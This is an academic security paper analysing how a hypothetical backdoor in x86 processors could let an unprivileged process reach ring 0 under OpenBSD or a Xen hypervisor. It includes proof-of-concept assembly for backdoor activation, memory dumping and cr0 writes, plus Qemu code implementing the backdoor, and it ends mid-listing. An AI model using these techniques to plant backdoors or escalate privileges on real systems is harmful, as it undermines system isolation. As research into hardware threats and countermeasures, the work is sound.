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Abstract. In this paper, we present the consequences on the security of
operating systems and virtual machine monitors of the presence of a bug
or a backdoor in x86 processors. We will not try to determine whether
the backdoor threat is realistic or not, but we will assume that a bug or a
backdoor exists and analyse the consequences on systems. We will show
how it is possible for an attacker to implement a simple and generic CPU
backdoor to be later able to bypass mandatory security mechanisms with
very limited initial privileges. We will explain practical difficulties and
show proof of concept schemes using a modified Qemu CPU emulator.
Backdoors studied in this paper are all usable from the software level
without any physical access to the hardware.

Keywords: hardware bug, hardware backdoor, x86, CPU.

1 Introduction

Adi Shamir has recently presented [6] the consequences on the security of soft-
ware implementations of a bug or a backdoor in the floating point unit of a
x86 [12] CPU and other very interesting studies [1,9,15] have been very recently
carried out on the topic of hardware bugs and backdoors. Moreover, it is very
interesting to note that the two main x86 CPU developers (Intel� and AMD)
publish lists [8] of hardware bugs in their processors. These lists can be rel-
atively long and it is more than likely than at least some of those bugs will
never be corrected because of the difficulty to modify the behaviour of a shipped
microelectronic chip.

In this paper, we will thus describe different imaginary bugs and backdoors
in x86 processors and show how these can have consequences on the overall
security of operating systems and virtual machine monitors running on top of
such a CPU. To our knowledge, it is the first time that a study on the im-
pact of x86 CPU backdoors on the security is carried out. Apart from recent
works such as the ones mentioned above, hardware security studies [18] tend
to focus on shared resources attacks [5,19], direct memory accesses from rogue
peripherals [10] or side channel attacks [2].

We begin this paper by describing a few architectural characteristics of x86
processors (part 1) and by presenting what the concepts of bugs and backdoors
are about (part 2). Then (part 3) we show how a first simple and generic backdoor
can be used by attackers as a means for privilege escalation over any system to
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get to privileges equivalent to those of the running operating system (whichever
it might be). We present sample code that can be used on a OpenBSD-based
system. We use the Qemu [4] open source emulator to simulate such a vulnera-
bility in a CPU and show how exploitation is possible. Next (part 4), we analyse
the impact of this first backdoor on the security of virtual machine monitors
and show that, because of address spaces virtualisation, a modification of the
backdoor is necessary to guaranty the attacker that the exploitation will be pos-
sible whichever the virtual machine monitor might be. Here again, we analyse,
using a modified Qemu emulator, how a non privileged process of one of the
non privileged invited domain running on top of a virtual machine monitor (Xen
hypervisor [20] in the example) can get to privileges equivalent to those of the
virtual machine monitor. Finally (part 5), we study stealth properties of back-
doors and present potential countermeasures.

It is very important to note beforehand that the purpose of this paper is not to
discuss the possibility of a backdoor to be hidden in any hardware component,
but only to analyse the impact of the presence of such a backdoor. What is
the level of complexity that a backdoor must achieve to allow an attacker, with
minimum privileges, but with knowledge of the backdoor, to get to maximum
privileges on a system, even when he does not know the security characteristics
of the system?

2 Introduction to x86 Architectures and to Security
Models

In this section, we briefly present some important x86 concepts that will be
useful throughout the course of this paper. In this section and in the whole
document, we only consider processors from the x86 family (Pentium�, Xeon�,
Core DuoTM , AthlonTM , TurionTM for instance). For the sake of simplicity,
we only analyse the case of 32-bit processors in their nominal mode (protected
mode [13]). The analysis will nevertheless be valid for 64-bit processors in their
nominal mode (IA-32e mode [13]) or in protected mode.

2.1 CPL, Segmentation and Paging

In protected mode, the processor defines four different privilege rings numbered
from 0 (most privileged) to 3 (least privileged). Kernel code is usually running
in ring 0 whereas user-space code is generally running in ring 3. The use of
some security-critical assembly language instructions is restricted to ring 0 code.
The privilege level of the code running on the processor is called CPL for Cur-
rent Privilege Level. The two intermediate levels (ring 1 and 2) are not used in
practice except by some para-virtualisation schemes (see section 2.4).

To be able to run in protected mode, the kernel must define a unique local
structure called the Global Descriptor Table (GDT ). The GDT stores (mostly,
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but not only) descriptors of memory blocks called segments. Segments are po-
tentially overlapping contiguous memory blocks. Segments are defined by a base
address, a type (basically code or data), a size, and a privilege ring number
(called “segment DPL”) which represents the ring up to which the segment
may be accessed. A pointer to an entry in the GDT is called a segment selector.

Most hardware components of the motherboard can access memory using so-
called physical memory addresses. Software code is however required to use log-
ical addresses composed of a segment selector and an offset within the segment.
Figure 1 shows how the Memory Management Unit (MMU) of the processor
decodes the address using the GDT and translates it into a linear1 (also called
virtual) memory address.

When enabled, the paging mechanism is in charge of translating virtual mem-
ory addresses into physical ones. The translation is enforced using tables called
page directories and tables. Page directories and tables may differ from one
process to the other. The base address of the current page directory is stored in
the cr3 CPU control register than can only be accessed by ring 0 code.

2.2 About Assembly Language Mnemonics

Code can basically be considered as a binary sequence called “machine lan-
guage”. This binary sequence is composed of elementary instructions called
opcodes. In order to read or write low level code more easily, each opcode is
associated with an understandable name called “mnemonic”. Translation of an
opcode into a mnemonic is deterministic. However, the opposite operation is
not, as mnemonics are context sensitive. For instance, the “ret” mnemonic can
be associated with the 0xc3, 0xcb, 0xc2 or even 0xca opcode depending on the
context. So, if we write assembly language programs, and if we want to accom-
plish non standard operations (force the execution of a particular opcode) there
will be no other solution that to directly write opcodes in the program to avoid
arbitrary and inaccurate translations by the compiler.

1 Correspondence between logical and linear addresses is usually straightforward be-
cause segment base addresses are often null. Therefore, the linear address is most of
the time numerically equal to the offset field of the logical address.
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2.3 Operating Systems Security Models

We will not describe in this section all the properties of operating systems as
far as security is concerned but we will describe some mechanisms that we will
show later how to circumvent using CPU backdoors. Generally speaking, what we
expect from an operating system is to ensure a strong isolation between the most
privileged components (i.e. the kernel) and user space. In order to achieve this,
the kernel may use the CPL, segmentation and paging mechanisms. However,
some applications are generally considered by operating systems more privileged
than others. It is typically the case of applications running in ring 3 but with
superuser privileges (“root” applications on a Linux/Unix system for instance).
In this document, we will always consider an attacker model where the attacker
is only able to run code in the context of a non privileged application.

2.4 Virtualisation and Isolation

Virtualisation very basically allows several guest operating systems to run in
parallel on the same machine, each of them being unaware of being executed on
the same machine as others. One form of virtualisation if the so-called paravir-
tualisation. In a paravirtualisation framework, a privileged software component
called a hypervisor or a virtual machine monitor is running on top of the actual
hardware of the machine and provides an abstraction of hardware resources to
guest operating systems while maintaining a principle of isolation between do-
mains: it must be impossible for each guest operating system to get access to a
resource allocated to another or to the hypervisor. One example of such a virtual
machine monitor is the Xen [20] hypervisor.

In order to study the security of hypervisors, it is often considered that guest
operating systems kernels themselves can try to attack hypervisors. However, in
this paper, we consider that attackers are only able to run code in the context of
a non privileged application of a non privileged guest operating system and we
will see that if this attacker has prior knowledge of a correctly designed generic
backdoor in the CPU, such privileges are sufficient for him to get to maximum
privileges on the system.

3 Taxonomy and First Analysis

3.1 Bug, Backdoor or Undocumented Function?

Bugs, backdoors and undocumented functions are three different concepts. A
bug is an involuntary implementation mistake in a component that will in some
cases, lead to a failure of the latter. An undocumented function corresponds
to a function implemented on purpose by the developer but that has not been
openly documented for some reason. Good examples of sometimes undocumented
functions are debug functions. x86 processors actually implement some initially
undocumented opcodes such as the “salc” assembly language instruction, that
we will study in part 4.1, whose signification has been made public in [7]. Usually,
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implementing undocumented functions cannot be considered a good idea because
such functions will not be taken into account in third party security evaluations.
This may lead to potential security breaches if an attacker gets knowledge of
one of these functions and finds out how to exploit it to his advantage. Finally,
a backdoor corresponds to the introduction, at some point of the design process,
of a function whose only purpose is to grant additional privileges to the entity
using it. A traditional example of a backdoor is a network adapter reacting to a
given IP frame by copying the entire system memory using DMA (Direct Memory
Access [10]) accesses and sending selected parts on the network. Another example
is a smartcard that, when it receives some data x always returns x encrypted by
a key K, except for a particular value of x where only K is returned.

Even though those notions correspond to three different concepts, in the
course of a security analysis, they should always be considered equivalent. It
should always be assumed that the operational consequences of a potential bug
or unknown undocumented functionality are equivalent to that of a backdoor.
In other words it is fair to assume that in the worst case, a bug can be used by
an attacker as a means for privilege escalation over the system. In this docu-
ment, we will thus use the term “backdoor” to indifferently reference an actual
backdoor, a bug or an undocumented functionality.

3.2 Value of a Backdoor to an Attacker

As stated in introduction, we will not analyse if it is realistic to think that
backdoors are implemented in commercial products, but rather study the way
that a generic backdoor can be usable by an attacker as a means for privilege
escalation over a system. We will describe simple backdoors that are actually
usable by attackers even from very isolated environnements. The global intuition,
from the attacker’s point of view is that the backdoor should:

– not be active at all time but it should be possible to activate the backdoor;
– not be detectable by anybody who does not already have sufficient knowledge

of the backdoor;
– not require any specific hardware privilege to be activated.

The backdoor can for instance be activated by a chosen non-privileged assembly
language instruction. In order for the backdoor to be hard to detect, it is possible
to have the backdoor activated only when some conditions on the CPU state are
met. These conditions can be linked to the state of the data registers of the
CPU (EAX, EBX, ECX, EDX, ESI, EDI). These registers can be modified by
a non privileged process with classic non-privileged instructions such as mov
$value, register (see part 4.1).

Once the backdoor is activated and independently of his initial privileges, the
attacker is typically willing to get to maximum privileges on the system:

– get to privileges equivalent to protected mode (or IA-32e) ring 0;
– have at his disposal a way to bypass operating systems- or virtual ma-

chine monitors-controlled memory virtualisation mechanisms. It might not
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be sufficient for an attacker to get to ring 0 privileges if he cannot find the
actual location of its target structures.

The first item seems easy to meet (it is sufficient to grant the running task
ring 0 privileges), the second item is more difficult to analyse and will be studied
in section 5.2. Our methodology will be to consider backdoors increasingly more
complex and analyse their impact on software components running on top of
trapped components.

4 Basic Backdoor Exploitation

4.1 Backdoor Definition (During Component Conception)

In this section, we consider that the processor on top of which a random operating
system is running implements a bug or a backdoor that modifies the behaviour
of one of the assembly langage instructions, for instance the “salc” (opcode
0xd6) instruction. The “salc” instruction theoretically clears or sets the CPU
AL register depending on whether or not the Carry flag of the EFLAGS state
register is set. This instruction is in practice not used very much as it is not
documented in the main specifications of x86 processors. Here is the pseudo-
code for the instruction:

if (RFLAGS.C == 0) AL=0;
else AL=0xff;

We will now consider that this behaviour is the actual behaviour in most cases,
but if the EAX, EBX, ECX and EDX are in a given state (for instance EAX=
0x12345678, EBX=0x56789012, ECX=0x87651234, EDX=0x12348256) when
“salc” is run, then the CPL field of the CPU is set to 0. Morally, this corre-
sponds to granting ring 0 privileges to the task running on the CPU. We will
see later that this simple transition however could lead to some incoherences
in the CPU state that should be taken into account during the course of the
exploitation of the backdoor.

The modified behaviour of “salc” is now:

if (EAX == 0x12345678 && EBX == 0x56789012
&& ECX == 0x87651234 && EDX == 0x12348256)

CPL = 0; #CPL formally corresponds to CS.RPL.
else if (RFLAGS.C == 0) AL=0;
else AL=0xff;

This backdoor seems a very simple one but we will see in the next section that
even this simple backdoor can be used to allow a non privileged process to get to
maximum privileges (chosen ring 0 code execution) on a platform. Moreover, this
backdoor is virtually undetectable. It is only activated when EAX, EBX, ECX,
EDX reach a given state. If the state of each register was an independently
identically distributed variable, the probability that such a state was reached
accidentally would be 2−32∗4 = 2−128 and only if the “salc” instruction is used.
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In practice, the states of the registers are not independent2 but the probability
stays very low and can be considered to be null if the opcode that triggers the
backdoor is an otherwise undefined opcode.

Additionally, the probability that an operating system triggering the backdoor
by mistake would carry on running is also very low. To avoid the discovery of
the backdoor when such a system breakdown is audited, the attacker can use an
evolutive backdoor (see section 6.2). Another possible approach can be to select
a commonly used opcode to activate the backdoor, so that the attack code is
not recognized as such by static analysers. Also, it will always be possible for an
attacker to write the attack code in such a fashion that it will run normally on
non-trapped processors and that it will be considered perfectly legitimate code
during code analysis.

That being said, it is always interesting for the attacker to have a second
backdoor that will revert the effects of the first one and allow a transition to
ring 3 for the running application, it order to make sure that the system will be
able to get back to a stable state after backdoor exploitation.

if (EAX == 0x12345678 && EBX == 0x56789012
&& ECX == 0x87651234 && EDX == 0x12348256)

CPL = 0; #CPL formally corresponds to CS.RPL.
else if (EAX == 0x34567890 && EBX == 0x78904321

&& ECX == 0x33445566 && EDX == 0x11223344)
CPL = 3;

else if (RFLAGS.C == 0) AL=0;
else AL=0xff;

4.2 Use of the Backdoor

We shall now assume that there exists a x86 CPU implementing such a backdoor
(see figure 2(a)) and we shall consider an attacker with enough privileges to run
code with restricted privileges on a system based on a traditional operating
system running on the trapped CPU. Traditional operating systems (Linux,
Windows, OpenBSD, FreeBSD, etc.) all use code and data segments (both in
ring 0 and ring 3) with a zero base address, and we will thus consider that it
is the case. Systems where it is not the case will be analysed in section 5. We
will show in this section how such an attacker can use the backdoor to get to
maximum privileges (that of the kernel of the operating system).

In order to use the backdoor as a means for privilege escalation, the attacker
must:

– activate the backdoor by placing the CPU in the desired state and running
the “salc” instruction;

– inject code and run it in ring 0;

2 EAX may store return codes and ECX often stores loop counters. Some assembly
langage instructions modify the value of a register depending on the value of others.
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– get back to ring 3 in order to leave the system in a stable state. Indeed, when
code is running in ring 0, systems calls do not work and leaving the system
in ring 0 and run a random system call (exit() typically) is likely to crash
the system.

Before starting the exploitation of the backdoor, the attacker has to:

– locate in the GDT a ring 0 code segment with a maximum size. The trap
grants ring 0 privileges to the running task but does not modify the other
characteristics of the task code segment (size for instance);

– locate in the GDT a data segment with a maximum size;
– locate, depending on the attack code, the vitual memory location of tar-

get structures (system calls, variables) that the attacker would be willing
to modify for instance to change the way the operating system works or
implements its security policy.

Most operating systems use a ring 0 code and a ring 0 data segment that covers
the entire virtual memory space, but the location of this segment in the GDT is
different from one system to the other. The most simple way for the attacker to
locate the segment is to dump the GDT on an identical operating system where
he has sufficient privileges. Most of the time, the attacker can (alternatively)
assume that the segment with a 0x08 selector is the ring 0 code segment and
the segment with a 0x10 selector is the ring 0 data segment as it is actually the
case for most systems. Randomisation of the GDT is theoretically possible but
is not common practice. As many other randomisation technics, this would only
slow the attacker as he has other ways to determine the segments that are used
by the system (log files, core dumps, debug info etc.).

Locating target structures is relatively simple on systems that do not ran-
domise their virtual space. A simple “nm” command on the kernel of a UNIX
system will give the virtual address of all kernel structures. When randomisa-
tion is used, or when the system implements a “W xor X” scheme, the attacker
work will be slightly more complicated as he will have to analyse and modify
the content of page tables to write to target structures.

For the “return to ring 3 without the system crashing” phase , it is necessary
for the attacker to find suitable ring 3 data and code segments. Usually, ring 3
code and data segment location in the GDT do not depend on the operating
system, but it is nevertheless simpler for the attacker to push onto the stack
the selectors of the segment the attack program is using prior to activating the
backdoor and recover them when the attack has been successfully carried out.

The generic steps of the attack are the following.

– activation of the backdoor;

"mov $0x12345678, %eax\n"
"mov $0x56789012, %ebx\n"
"mov $0x87651234, %ecx\n"
"mov $0x12348256, %edx\n" //backdoor activation
".byte 0xd6\n" //salc opcode
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– call to a kern f function that will be run in ring 0 using a “long call” to the
chosen ring 0 code segment;

"lcall $0x08, $kern_f\n" //call to a ring 0 code segment

– in the kern f function, load of a suitable data segment (and if need be of a
suitable stack segment);

"push %ds\n"
"mov $0x10, %ax\n" //data ring 0 segment load
"mov %ax, %ds\n" //in ds register

– execution of the payload (for instance modification of security-critical secu-
rity variable, of the current uid, of a system call);

– selection of a ring 3 data segment;

"pop %ds\n"

– building of a dummy stack that will allow a return to ring 3 masquerading
a return from an interrupt handler by stacking successively a stack segment,
a stack pointer, a code segment selector, an return instruction pointer (here
the address of the “end” function);

"mov $0x0027, %eax\n" //construct of the stack
"push %eax\n" //as if we were requesting
"push %esp\n" //a return from an interrupt
"mov $0x002b, %eax\n"
"push %eax\n"
"mov $end, %eax\n" //return address
"push %eax\n"

– running the “ret” assembly langage instruction;

".byte 0xcb\n" //ret instruction (opcode form
//to avoid interpretation
//as a "ret" in the same segment)

– in the “end” function, deactivate the backdoor and exit normally (exit()
system call for instance).

"mov $0x34567890, %eax\n"
"mov $0x78904321, %ebx\n"
"mov $0x33445566, %ecx\n"
"mov $0x11223344, %edx\n"
".byte 0xd6\n"

We implemented a proof of concept demonstrating the usability of such a back-
door. The proof of concept setting is described in figure 2(a). The CPU is a Qemu
emalutor [4] that has been modified to implement the backdoor of the previous
section. On top of this trapped CPU, a UNIX OpenBSD [16] is running. The
attacker is allowed to run code as an unprivileged (non root) user of the system.
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Fig. 2. Proof of concept setting: (a) backdoor from part 4.1 against a OpenBSD-based
system (b) Use of backdoor from part 5 against a Xen hypervisor

The proof of concept scheme exactly follows the steps we just described and
allows the attacker to get to kernel privileges.

5 Impact on Virtual Machine Monitors

In this section, we consider that a virtual machine monitor (for instance a
Xen hypervisor) is running on a x86 machine and we assume that the CPU
of the machine implements the backdoor described in the previous section. We
also assume that one or several guest operating systems are running on top
of the virtual machine monitor. The hypervisor might be using VT [14] or
Pacifica [3] extensions to allow guest operating kernel to run unmodified. We
assume in this section that an attacker has found a way to run arbitrary code
in the context of a non-privileged process of a non-privileged guest. Figure 2(b)
shows such a setting. We will show in this section that even if the attacker will
not be able to use the backdoor from the previous section as such, a slightly
more complex (but still generic and very simple) backdoor will be usable to get
to maximum privileges on the system without knowledge of the virtual machine
monitor and the memory structure (resource repartition between hypervisor and
invited guests) that are being used.

5.1 Use of the Backdoor from Section 4.1

The use of a virtual machine monitor that is unknown to the attacker can make
the exploitation of the basic backdoor from section 4.1 impossible. A critical
step of the scheme we presented is to find a usable ring 0 code segment that will
provide access to target structures. As ring 0 code segments are only used by
the hypervisor, the base address of such segments has no particular reason to be
identical to that of ring 3 segments that are used by the guest operating system
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(that itself does not have knowledge of or access to the GDT of the system).
Moreover, in order to modify target hypervisor structures that are not mapped
in guest virtual memory, the attacker has to get access to page directories and
tables that in turn have no reason to be accessible from guest operating systems
segments. So basically in order for the attack to work, the attacker would have
to first to access the GDT or the page directory and tables which is impossible
without prior knowledge of the hypervisor memory management strategy. This
shows that it will be, in the general case, impossible for the attacker to use the
backdoor to get to maximum privileges.

5.2 A Modified Backdoor

If an attacker wants to be able to get to maximum privileged in a hypervisor-
based system without prior knowledge of the system, he requires a backdoor
that provides him with:

– ring 0 privileges;
– a usable ring 0 code segment. A ring 0 code will not be usable unless the

relative position of this segment and the ring 3 code segment at the time of
backdoor activation is known. This is necessary to ensure that the virtual
address of the attack process will be valid;

– a data segment that is allowed to bypass segmentation and paging. This is
necessary as in order for instance to modify structures of the hypervisor that
are not mapped in the operating system virtual space, the attacker has to
modify page tables that are themselves probably not mapped in the guest
operating system virtual space. Moreover, the attacker will certainly need
to modify the GDT to create usable segments and locating the GDT will
require direct access to physical memory.

The backdoor will thus be modified to give the current task ring 0 privileges, to
permanently provide a dummy selector number that, when used in the course
of a “lcall” instruction, will cause the load of a ring 0 code segment identical
to the code segment of the current task (identical base address and size) except
of course for the fact that the segment is a ring 0 code segment. Finally the
backdoor will provide a way to bypass paging.

Of course the backdoor can now be activated and deactivated at will. It is a
major issue as the backdoor is now stateful. In the first basic backdoor, activation
only caused modification of the CPL field. With this new backdoor however, the
dummy segment selector is for instance available as soon as the backdoor is
activated and until it is deactivated.

In our proof of concept implementation, we modified the Qemu CPU emulator
to implement a backdoor with such characteristics. We chose to use a variable
called “backdoor” that indicates the state of the backdoor (1 for activated, 0
for deactivated). What is interesting is that for the backdoor to be usable the
variable backdoor needs only have an influence on the “lcall” and “lret” assem-
bly langage instructions. The modified behaviour of the “salc” instruction thus
becomes the following.
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if (EAX == 0x12345678 && EBX == 0x56789012
&& ECX == 0x87651234 && EDX == 0x12348256)

backdoor = 1;
else if (EAX == 0x34567890 && EBX == 0x78904321

&& ECX == 0x33445566 && EDX == 0x11223344)
backdoor = 0;

else if (RFLAGS.C == 0) AL=0;
else AL=0xff;

Of course the “lcall” and “lret” instruction must also be modified so that if the
variable backdoor is set and the dummy selector (in our implementation the
0x4b selector) is called then the load of the desired segment happens. Proof of
concept modifications of Qemu are presented in appendix B.

In order to bypass paging, we chose to implement a mechanism that al-
lows the attacker to directly read or write into physical memory at a chosen
address. The mechanism we implemented is similar to the PCI configuration
mechanism [17]. The EAX register is used as an address register and EBX is
used s a data register.

//Read operation: //Write operation:
mov A , %eax mov A , %eax
mov $0, %ecx // 0 for read mov V , %ebx
salc mov $1, %ecx // 1 for write
// on salc EBX <- V salc // on salc [A] <- V
// with V = [A] 32-bit memory content // 32-bit data at address A is
// at address A // set to V

and the modified salc instruction becomes:

if (EAX == 0x12345678 && EBX == 0x56789012
&& ECX == 0x87651234 && EDX == 0x12348256)

backdoor = 1;
else if (EAX == 0x34567890 && EBX == 0x78904321

&& ECX == 0x33445566 && EDX == 0x11223344)
backdoor = 0;

else if (backdoor == 1 && ECX == 0x1) { //write operation
address = EAX;
value = EBX;
physical_memory_w(address, (char *) &value, 4); }

else if (backdoor == 1 && ECX == 0x0) { //read operation
address = EAX;
physical_memory_r(address, (char *) &result, 4);
EBX = result; }

else if (RFLAGS.C == 0) AL=0;
else AL=0xff;

5.3 Proof of Concept Use of the Backdoor

The attacker can get low level access to physical memory, discover the memory
structure of the structure (GDT, page tables) and modify it. In the following
code example, physical memory is dumped in the “output file” file.
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int i, res;
int fd = open("output_file", O_RDWR); //ouput file

for(i=0; i<MEM_SIZE; i+=4) //loop until the end of physical memory
{

__asm__ volatile(
"push %%eax\n" //save data registers
"push %%ebx\n"
"push %%ecx\n"
"push %%edx\n"
"mov $0x12345678, %%eax\n" //backdoor activation
"mov $0x56789012, %%ebx\n"
"mov $0x87651234, %%ecx\n"
"mov $0x12348256, %%edx\n"
".byte 0xd6\n" //backdoor = 1
"mov %1, %%eax\n" // EAX <- i
"mov $0, %%ebx\n" // EBX set to 0
"mov $0, %%ecx\n" // ECX <- 0
".byte 0xd6\n" //read operation

:"=b" (res):"m"(i)); // res <- EBX

__asm__ volatile(
"lcall $0x4b, $test\n" //run function "test" code

"mov $0x34567890, %eax\n" //in ring 0. 0x4b is a dummy
"mov $0x78904321, %ebx\n" //selector that can be used at
"mov $0x33445566, %ecx\n" //will by the attacker
"mov $0x11223344, %edx\n"
".byte 0xd6\n" //backdoor = 0
"pop %eax\n" //data register recover
"pop %ebx\n"
"pop %ecx\n"
"pop %edx\n"

); //write to the output file
write(fd, &res,4); //of the read memory byte

} close(fd);

The attacker is also able to run ring 0 code at will. For instance, running the
previous code, the “test” function will be executed with ring 0 privileges in a
ring 0 code segment, the characteristics of which (base address, size) correspond
to that of the code segment at the time of the “lcall” to the dummy selector.

As an example, we can show in appendix A that the attacker is able to modify
at will the cr0 control register of the CPU which is one of the most security-
critical register of the CPU because that is the one that is used to activate paging,
or the physical address extensions or to trigger operating mode transitions. Ac-
cording to designers manuals, read or write to the cr0 register (for instance mov
%cr0, %eax) trigger a general protection exception unless the caller can assert
ring 0 privileges.
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6 Analysis of the Backdoors

6.1 Is it Possible to Imagine Other Backdoors?

Of course, it is possible to imagine other backdoors than those that have been
presented in this paper and implemented in a modified Qemu emulator. We only
aim at showing that it is not necessary for generic backdoors to be extremely
complicated to be usable by attackers without prior knowledge of the software
stack used on the system. The major difficulty is the localisation of target struc-
tures in memory that the attacker will have to read or write to get total control
of the system. If the backdoor is not implemented to allow the localisation and
the access to any structure in memory in any circumstance, the attacker will not
be able to use it in each and every situation.

6.2 About Evolution and Discretion

The attacker might want to implement a backdoor of which the activation condi-
tions change after each activation. The only interest of such a feature is that the
backdoor will not be detected by a in-depth analysis of the crash conditions of a
system where the backdoor has been activated by mistake. As a matter of fact,
a second execution of the program that caused the crash will not activate the
backdoor. However given the small probability of the backdoor to be triggered
by mistake, it does not seem necessary that the activation conditions should
change. Moreover, it seems useless to try to hide the hardware logic dedicated
to the backdoor activation. The size of x86 processors can indeed be evaluated
to be just below a billion logic gates, which cannot be analysed with tools that
are available or that will be in the next few years.

6.3 Possible Countermeasures

In the previous section, we have seen that it was possible for an attacker to
implement a silent backdoor that allows him to get to maximum privileges on a
system from very small privileges. So one could easily wonder if there is indeed
a way for operating systems and virtual machine monitors designer to cope with
the threat. The global idea will be to reduce the risk of backdoor activation by
reducing the possible components in the system that have the possibility to do
so. The attacker needs to be able to run the attack code on the trapped CPU. In
order to reduce the possibility of introduction of an attack code that can trigger
the backdoor it seems fair to:

– restrict the number of applications allowed to run on the machine and control
that only those applications are actually running;

– make sure that no compilation or random code execution tools will be avail-
able on the system;

– try to prevent intrusion at the network level (correct network security con-
figuration) in order to prevent remote to local privilege escalations.
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Another idea which is impractical at the time (because of the difficulty to cor-
rectly manage hardware-level asynchronous accesses and random objects) would
be to run the whole software stack on two different CPUs in parallel and to verify
that the output to the memory bus are the same. If the two processors respond
in different ways to the same code sequence, something is most certainly wrong.

7 Conclusion

We showed in this paper the impact of a generic backdoor in x86 processors
on the security of a system. We presented proof-of-concept implementations of
the backdoors by modifying the Qemu emulator and showed how the backdoors
can be used. The backdoors we present are simple as they only modify at most
the behaviour of three assembly langage instructions and have very simple and
specific activation conditions, so that they cannot be accidently activated.

As a conclusion, we can say that the backdoors we present are generic, virtually
undetectable and allow a non-privileged process to get to maximum privileges on
a system, no matter which software security mechanisms are implemented. Even
though no actual backdoor in x86 processors have ever been asserted, our study
show the limits of software security mechanisms.

Security analysis should thus take into account the threat of hardware bugs
or backdoors and find ways to restrict the possibilities of activation.
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A Use of the Backdoor from Part 5.2 to Modify cr0

In the situation described in section 5.2, only the virtual machine monitor is
able to assert ring 0 privileges. The kernels of guest operating systems run in
ring 13, and applications run in ring 3. In normal operation, if any component
of a guest domains tries to modify the cr0 register, this then generates a general
protection fault that will be caught by the virtual machine monitor.

//read_cr0_no_bd.c file
#include <stdio.h>
int res = 0;
extern void test(void);
asm (

".globl test\n" //Test function
"test:\n"

"mov %cr0, %eax\n" //copy cr0
"mov %eax, %esi\n" //in eax and esi
"ret\n"

);

int main(void) //Main function (entry point)
{

__asm__ volatile(
"push %%eax\n" //save eax
"call $test\n" //call test function

"mov %%esi, %%eax\n" //copy esi in eax
: "=a"(res)); //copy eax in "res"

__asm__ volatile(
"pop %eax\n"
);

printf("0x%.8x\n", res); //display res
return 0;

}

[demo@localhost demo]./read_cr0_no_bd
Segmentation fault

If the attacker now activates the backdoor beforehand:

//read_cr0.c file
#include <stdio.h>
int res = 0;
extern void test(void);
asm (

".globl test\n"
"test:\n"

3 Or in VMX non root mode if hardware virtualisation extensions are used but in all
cases with lower privileges than the virtual machine monitor.
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"mov %cr0, %eax\n" //copy cr0 in eax
"mov %eax, %esi\n" //and in esi
"lret\n" //return (exit from ring 0)

);

int main(void)
{

__asm__ volatile(
"push %%eax\n"
"push %%ebx\n"
"push %%ecx\n"
"push %%edx\n"
"mov $0x12345678, %%eax\n"
"mov $0x56789012, %%ebx\n"
"mov $0x87651234, %%ecx\n"
"mov $0x12348256, %%edx\n"
".byte 0xd6\n" //backdoor activation
"lcall $0x4b, $test\n" //call to "test" on the 0x4b

//segment (ring 0 entry)
"mov %%esi, %%eax\n" //copy esi in eax
: "=a"(res)); //and eax in res

__asm__ volatile(
"mov $0x34567890, %eax\n"
"mov $0x78904321, %ebx\n"
"mov $0x33445566, %ecx\n"
"mov $0x11223344, %edx\n"
//backdoor deactivation
".byte 0xd6\n"
"pop %edx\n"
"pop %ecx\n"
"pop %ebx\n"
"pop %eax\n"

);
printf("0x%.8x\n", res); //display res
return 0;

}

The standard output now yields the value of the cr0 register:

[demo@localhost demo]./read_cr0
0x80005003b

The attacker can of course also modify the cr0 register (only the “test” function
is presented, the “main” function is identical to that of the previous example:

//write_cr0.c file (partial)

asm (
".globl test\n"
"test:\n"
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"mov %cr0, %eax\n" //copy cr0 in eax
"or $0x4300, %eax\n" //modify eax
"mov %eax, %cr0\n" //copy eax in cr0
"mov %cr0, %eax\n" //copy cr0 in eax
"mov %eax, %esi\n" //copy cr0 in esi
"lret\n" //return to ring 3

); //esi will contain
//cr0 modified value

[demo@localhost demo]./write_cr0
0x80005433b

In our proof of concept scheme, the CPU is a modified Qemu emulator and it
is then easy to verify that the cr0 register that is modified is indeed the actual
cr0 register of the CPU and not a virtual CPU presented to the guest domain
by the hypervisor using the build-in console (Ctrl + Alt + 2).

(qemu) info registers
[....]
CR0=8005433b
[....]

The modification of cr0 is of course only an example of what is possible. It
will of course be possible to add new segments or “call gates”4 into the GDT.
These techniques allow the attacker to take complete control of the system with
techniques similar as those presented in [11].

B Backdoor from Part 5.2: Modified Qemu Instructions

In this section we show the Qemu source code modification that allows the imple-
mentation of the backdoor from part 5.2. It is at least necessary to implement
a helper salc function that will describe the behaviour of the salc instruction
as Qemu does not know by default how to interpret the instruction. It is also
necessary to modify the helper ret protected and helper lcall protected T0 T1
functions that respectively describe the behaviour of the “ret” (but also“iret”
(return from interrupt) and “lret” (return with a change of current code seg-
ment)), and “lcall”. For the sake of conciseness, only the modifications of the
helper lcall protected T0 T1 function are presented (modifications of the “salc”
instructions are described in section 5.2).

//helper_lcall_protected_T0_T1:
//T0 et T1 are global variables used by Qemu such as
//T0 stores the requested selector
//and T1 stores the requested instruction pointer for the call.

4 Call gates specify possible transitions between rings. Adding a ring 3 call gate that
gives access to a ring 0 segment allows the attacker to add a permanent software
backdoor to ring 0 privileges.
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//So the emulated instruction is lcall $T0:T1

void helper_lcall_protected_T0_T1(int shift, int next_eip_addend) {
int new_cs, new_stack, i;
uint32_t e1, e2, cpl, dpl, rpl, selector, offset, param_count;
uint32_t ss, ss_e1, ss_e2, sp, type, ss_dpl, sp_mask;
uint32_t val, limit, old_sp_mask;
target_ulong ssp, old_ssp, next_eip, new_eip;

new_cs = T0; //get the requested code segment
new_eip = T1; //get the requested instruction pointer
next_eip = env->eip + next_eip_addend; //return address from

//the call to push on the
//stack

if (backdoor_activated && (new_cs == 0x4b)){
//if the backdoor is activated and the requested selector is
// 0x4b

sp = ESP; //ESP current value
sp_mask = get_sp_mask(env->segs[R_SS].flags);
ssp = env->segs[R_SS].base;
//Push the code segment on the stack
PUSHL(ssp, sp, sp_mask, env->segs[R_CS].selector);
//Push the current stack segment on the stack
PUSHL(ssp, sp, sp_mask, env->segs[R_SS].selector);
//Push the return address
PUSHL(ssp, sp, sp_mask, next_eip);
//Push a "magic number"
PUSHL(ssp, sp, sp_mask, 0xdeadbeef);
ESP= sp; //ESP update
cpu_x86_set_cpl(env, 0); //CPL=0
//Get the code and the stack segment in Qemu format
load_segment(&e1, &e2, env->segs[R_CS].selector);
load_segment(&ss_e1, &ss_e2, env->segs[R_SS].selector);
//Change the DPL/RPL of the segment but no other characteristic
cpu_x86_load_seg_cache(env, R_CS, 0x4b,

get_seg_base(e1, e2),
get_seg_limit(e1, e2),
e2 & ~(3<<DESC_DPL_SHIFT));

//Change the DPL/RPL of the segment but no other characteristic
cpu_x86_load_seg_cache(env, R_SS, 0x44,

